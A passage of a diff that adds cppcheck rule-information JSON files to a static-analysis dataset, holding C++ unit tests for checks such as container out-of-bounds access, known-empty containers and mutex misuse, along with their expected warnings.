s.end()) {\\n\"\n \" s.insert(x);\\n\"\n \" }\\n\"\n \"}\\n\";\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP14));\n ASSERT_EQUALS(\"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.cppstandard = Standards::CPP17));\n ASSERT_EQUALS(\"[test.cpp:3:18]: (performance) Searching before insertion is not necessary. [stlFindInsert]\\n\", errout_str());\n }\n\n { // #10558\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\", dinit(CheckOptions, $.cppstandard = Standards::CPP11));\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" std::map x;\\n\"\n \" int data = 0;\\n\"\n \" for(int i=0; i<10; ++i) {\\n\"\n \" data += 123;\\n\"\n \" if(x.find(5) == x.end())\\n\"\n \" x[5] = data;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:17]: (performance) Searching before insertion is not necessary. Instead of 'x[5]=data' consider using 'x.try_emplace(5, data);'. [stlFindInsert]\\n\", errout_str());\n }\n }\n\n void checkKnownEmptyContainer() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" v.clear();\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (!v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Iterating over container 'v' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" if (v.empty()) { return; }\\n\"\n \" for(auto x:v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" std::sort(v.begin(), v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:22]: (style) Using sort with iterator 'v.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #1201\n \" std::vector v1{ 0, 1 };\\n\"\n \" std::vector v2;\\n\"\n \" std::copy(v1.begin(), v1.end(), v2.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:45]: (style) Using copy with iterator 'v2.begin()' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.insert(v.end(), 1);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(std::vector*);\\n\"\n \"};\\n\"\n \"A f() {\\n\"\n \" std::vector v;\\n\"\n \" A a(&v);\\n\"\n \" for(auto&& x:v) {}\\n\"\n \" return a;\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"static void f1(std::list& parameters) {\\n\"\n \" parameters.push_back(a);\\n\"\n \"}\\n\"\n \"int f2(std::list& parameters) {\\n\"\n \" f1(parameters);\\n\"\n \"}\\n\"\n \"void f3() {\\n\"\n \" std::list parameters;\\n\"\n \" int res = ::f2(parameters);\\n\"\n \" for (auto param : parameters) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace ns {\\n\"\n \" using ArrayType = std::vector;\\n\"\n \"}\\n\"\n \"using namespace ns;\\n\"\n \"static void f() {\\n\"\n \" const ArrayType arr;\\n\"\n \" for (const auto &a : arr) {}\\n\"\n \"}\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:7:26]: (style) Iterating over container 'arr' that is always empty. [knownEmptyContainer]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void foo(S& s) {\\n\"\n \" s.v.clear();\\n\"\n \" bar(s);\\n\"\n \" std::sort(s.v.begin(), s.v.end());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v, int e) {\\n\"\n \" if (!v.empty()) {\\n\"\n \" if (e < 0 || true) {\\n\"\n \" if (e < 0)\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto& rv = v;\\n\"\n \" rv.push_back(42);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"extern void f(std::string&&);\\n\"\n \"static void func() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& s_ref = s;\\n\"\n \" f(std::move(s));\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12757\n \" template\\n\"\n \" void clear() {}\\n\"\n \" template\\n\"\n \" std::vector get() const { return {}; }\\n\"\n \" std::vector m;\\n\"\n \"};\\n\"\n \"template<> void S::clear() { m.clear(); }\\n\"\n \"template<> std::vector S::get() const {\\n\"\n \" for (const auto& i : m) {}\\n\"\n \" return {};\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\" // #13121\n \" static std::string s = {};\\n\"\n \" for (auto c : s) {}\\n\"\n \" if (b)\\n\"\n \" s += \\'a\\';\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\" // #13727\n \" std::vector v;\\n\"\n \" v.insert::iterator>(v.end(), it, it + 1);\\n\"\n \" for (auto i : v) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkMutexes() {\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:40]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" static std::unique_lock g(m, std::defer_lock);\\n\"\n \" static std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:41]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/outOfBounds.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/outOfBounds.json new file mode 100644 index 0000000..39af420 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/outOfBounds.json @@ -0,0 +1,22 @@ +{ + "name": "outOfBounds", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 68, + "branches": 22, + "apis": 72, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 222 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void 